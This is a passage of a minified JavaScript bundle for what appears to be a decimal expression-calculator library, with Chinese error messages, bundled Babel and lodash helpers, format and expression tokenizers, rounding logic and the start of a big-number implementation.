e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),S(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var a=r.completion;if("throw"===a.type){var n=a.arg;S(r)}return n}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:E(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,a,n,o,i){try{var s=e[o](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(a,n)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(a,n){var o=e.apply(t,r);function i(e){asyncGeneratorStep(o,a,n,i,s,"next",e)}function s(e){asyncGeneratorStep(o,a,n,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,a=new Array(t);r<t;r++)a[r]=e[r];return a}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var a=r.call(e,t||"default");if("object"!=typeof a)return a;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042402",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,a,n){var o=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?a-1:a;i=t.slice(0,e)},"~+":function(){var e="<"===r?a-1:a;if(!(s<=e||0===s)){var n=t.slice(0,e);0==+t.slice(e,s)?i=n:(n=(+"9".concat(n)+1).toString().slice(1)).length>e?(i=n.slice(1,n.length),o=(+o+1).toString()):i=n}},"~5":function(){if(0!==s){var e="<"===r?a-1:a;i=t.slice(0,e);var n=+t[e];Number.isNaN(n)||n>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),o=(+o+1).toString())}},"~6":function(){if(0!==s){var n,c="<"===r?a-1:a,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),n=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&n%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),o=(+o+1).toString())}}};return"<="===r?s<=a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"<"===r?s<a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"="===r?s<a?i=t+"0".repeat(a-s):s>a&&c[n]&&c[n]():">="===r?s<a&&(i=t+"0".repeat(a-s)):">"===r&&s<=a&&(i=t+"0".repeat(a-s+1)),{int_part:o,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,a=null,n=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],o=0;o<n.length;o++){var i=e.match(n[o]);if(i){t=i;break}}if(t){a=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:a,unit:r}}function parse_mantissa(e,t,r,a){var n=e.split("."),o=n[0],i=1===n.length?"":n[1],s=decimal_round(o,i,t,+r,a);return o=s.int_part,""===(i=s.dec_part)?o:"".concat(o,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var a=t[0];e=a.includes("-")?a[0]+a.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):a.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,a,n,o=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=o.length>1&&void 0!==o[1]?o[1]:5e3,a=0;case 2:if(!(a<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[a],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:n=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",n);case 13:a++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,a=[],n=[];e;){var o=e[0];if(r===state$1.initial)if(/\s/.test(o))e=e.slice(1);else if(symbol.includes(o))r=state$1.symbol,a.push(o),e=e.slice(1);else if(","===o)r=state$1.initial,n.push({type:"comma",value:o}),e=e.slice(1);else if(/[a-zA-Z_]/.test(o))r=state$1.variable,a.push(o),e=e.slice(1);else if(/\d/.test(o))r=state$1.number,a.push(o),e=e.slice(1);else if("+"===o)r=state$1.initial,n.push({type:"plus",value:o}),e=e.slice(1);else if("~"===o)r=state$1.round,a.push(o),e=e.slice(1);else if("%"===o)r=state$1.initial,n.push({type:"percent",value:o}),e=e.slice(1);else if("/"===o)r=state$1.initial,n.push({type:"fraction",value:o}),e=e.slice(1);else{if("!"!==o)throw new Error("不识别的fmt字符:".concat(o));if(r=state$1.initial,/[Ee]/.test(e[1]))n.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))n.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));n.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"number",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"var",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(o)){e=e.slice(1);continue}symbol.includes(o)?(a.push(o),e=e.slice(1)):(n.push({type:"symbol",value:a.join("")}),a.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(o)){e=e.slice(1);continue}if(!("56+-".includes(o)&&a.length<2))throw new Error("舍入格式化语法错误:".concat(o));a.push(o),e=e.slice(1),n.push({type:"round",value:a.join("")}),a.length=0,r=state$1.initial}}if(a.length>0&&(n.push({type:r,value:a.join("")}),a.length=0,r=state$1.initial),n.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:n},n}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$6=Array.isArray,isArray_1=isArray$6,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$8=freeGlobal||freeSelf||Function("return this")(),_root=root$8,root$7=_root,_Symbol2=root$7.Symbol,_Symbol$4=_Symbol2,_Symbol$3=_Symbol$4,objectProto$b=Object.prototype,hasOwnProperty$8=objectProto$b.hasOwnProperty,nativeObjectToString$1=objectProto$b.toString,symToStringTag$1=_Symbol$3?_Symbol$3.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$8.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var a=!0}catch(e){}var n=nativeObjectToString$1.call(e);return a&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),n}var _getRawTag=getRawTag$1,objectProto$a=Object.prototype,nativeObjectToString=objectProto$a.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$2=_Symbol$4,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$2?_Symbol$2.toStringTag:void 0;function baseGetTag$5(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$5;function isObjectLike$5(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$5,baseGetTag$4=_baseGetTag,isObjectLike$4=isObjectLike_1,symbolTag$1="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike$4(e)&&baseGetTag$4(e)==symbolTag$1}var isSymbol_1=isSymbol$3,isArray$5=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$5(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag$3=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag$1="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$2(e){if(!isObject$1(e))return!1;var t=baseGetTag$3(e);return t==funcTag$1||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$2,root$6=_root,coreJsData$1=root$6["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$2(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$2,isFunction$1=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource$1=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$9=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$7=objectProto$9.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$7).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction$1(e)?reIsNative:reIsHostCtor).test(toSource$1(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$6(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$6,getNative$5=_getNative,nativeCreate$4=getNative$5(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$2="__lodash_hash_undefined__",objectProto$8=Object.prototype,hasOwnProperty$6=objectProto$8.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return r===HASH_UNDEFINED$2?void 0:r}return hasOwnProperty$6.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto$7=Object.prototype,hasOwnProperty$5=objectProto$7.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty$5.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED$1:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$2(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$2,eq$1=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq$1(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,a=assocIndexOf(r,e);return a<0?(++this.size,r.push([e,t])):r[a][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$4(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}ListCache$4.prototype.clear=listCacheClear,ListCache$4.prototype.delete=listCacheDelete,ListCache$4.prototype.get=listCacheGet,ListCache$4.prototype.has=listCacheHas,ListCache$4.prototype.set=listCacheSet;var _ListCache=ListCache$4,getNative$4=_getNative,root$5=_root,Map$3=getNative$4(root$5,"Map"),_Map=Map$3,Hash=_Hash,ListCache$3=_ListCache,Map$2=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map$2||ListCache$3),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),a=r.size;return r.set(e,t),this.size+=r.size==a?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$3(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}MapCache$3.prototype.clear=mapCacheClear,MapCache$3.prototype.delete=mapCacheDelete,MapCache$3.prototype.get=mapCacheGet,MapCache$3.prototype.has=mapCacheHas,MapCache$3.prototype.set=mapCacheSet;var _MapCache=MapCache$3,MapCache$2=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var a=arguments,n=t?t.apply(this,a):a[0],o=r.cache;if(o.has(n))return o.get(n);var i=e.apply(this,a);return r.cache=o.set(n,i)||o,i};return r.cache=new(memoize$1.Cache||MapCache$2),r}memoize$1.Cache=MapCache$2;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,a,n){t.push(a?n.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var r=-1,a=null==e?0:e.length,n=Array(a);++r<a;)n[r]=t(e[r],r,e);return n}var _arrayMap=arrayMap$1,_Symbol$1=_Symbol$4,arrayMap=_arrayMap,isArray$4=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto$1=_Symbol$1?_Symbol$1.prototype:void 0,symbolToString=symbolProto$1?symbolProto$1.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$4(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray$3=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray$3(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,a=(t=castPath(t,e)).length;null!=e&&r<a;)e=e[toKey(t[r++])];return r&&r==a?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var a=null==e?void 0:baseGet(e,t);return void 0===a?r:a}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],a=e[1],n={origin_expr:r,origin_fill_data:a,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(a)&&(n.options=a);var o=get$1(a,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return n.expr_err=!0,n}else{if("number"!=typeof r){if(!0===o)return n.expr_err=!0,n;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(n.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{n.fmt_tokens=fmt_tokenizer(s)}catch(e){return n.fmt_err=!0,n}}if(null!==n.options&&n.options._fmt){var c=[];try{c=fmt_tokenizer(n.options._fmt)}catch(e){return n.fmt_err=!0,n}if(null===n.fmt_tokens)n.fmt_tokens=c;else{var l=n.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||n.fmt_tokens.push(e)}))}}return n}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var a,n=state.initial,o=[],i=[],s=function(){o.push(a),e=e.slice(1)},c=function(e){i.push({type:e,value:o.join("")}),o.length=0},l=function(){e=e.slice(1)};e;)switch(a=e[0],n){case state.initial:if(signed.includes(a)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(n=state.number,s()):(n=state.operator,s())}else if(operator.includes(a))n=state.operator,s();else if(/\d/.test(a))n=state.number,s();else if(brackets.includes(a))n=state.bracket;else if(/[a-zA-Z_$]/.test(a))n=state.var,s();else{if(!/\s/.test(a))throw new Error("不识别的字符".concat(a));l()}break;case state.bracket:i.push({type:state.bracket,value:a}),l(),n=state.initial;break;case state.operator:var f=o.at(-1);"*"===a&&"*"===f&&s(),c(state.operator),n=state.initial;break;case state.number:if(/\d/.test(a))s();else if("."===a){if(0===o.length||o.includes("."))throw new Error("非法的小数部分".concat(o.join("")));s()}else"Ee".includes(a)?(n=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.number),n=state.initial);break;case state.scientific:if(/\d/.test(a))s();else if(signed.includes(a)){var p=o.slice(1),h=o.at(-1);p.includes(a)||!/[Ee]/.test(h)?(c(state.scientific),n=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.scientific),n=state.initial);break;case state.var:/[\w_.\[\]"']/.test(a)?s():(c(state.var),n=state.initial);break;default:throw new Error("状态错误")}return 0!==o.length&&(i.push({type:n,value:o.join("")}),o.length=0,n=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var a=[],n=0;n<e.length;n++){var o=e[n];if("var"===o.type){if("undefined"===o.value||"NaN"===o.value)throw new Error("key不应该为:".concat(o.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,o.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(o,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(o.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(o.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(o,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,a.push({type:"number",value:i})}else a.push(o)}return a}function token2postfix(e){for(var t=[],r=[],a=e.map((function(e){return e.value}));a.length>0;){var n=a.shift();if(is_operator(n))if("("===n)t.push(n);else if(")"===n){for(var o=t.pop();"("!==o&&t.length>0;)r.push(o),o=t.pop();if("("!==o)throw"error: unmatched ()"}else{for(;prioraty(n,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(n)}else r.push(n)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER$2=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,a,n,o,i,s,c,l,u,f=w.prototype={constructor:w,toString:null,valueOf:null},p=new w(1),h=20,_=4,g=-7,y=21,b=-1e7,d=1e7,m=!1,v=1,$=0,A={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},T="0123456789abcdefghijklmnopqrstuvwxyz",S=!0;function w(e,t){var n,o,i,s,c,l,u,f,p=this;if(!(p instanceof w))return new w(e,t);if(null==t){if(e&&!0===e._isBigNumber)return p.s=e.s,void(!e.c||e.e>d?p.c=p.e=null:e.e<b?p.c=[p.e=0]:(p.e=e.e,p.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(p.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>d?p.c=p.e=null:(p.e=s,p.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return a(p,f,l);p.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,T.length,"Base"),10==t&&S)return C(p=new w(e),h+p.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return a(p,f,l,t);if(p.s=1/e<0?(f=f.slice(1),-1):1,w.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else p.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(n=T.slice(0,t),s=c=0,u=f.length;c<u;c++)if(n.indexOf(o=f.charAt(c))<0){if("."==o){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return 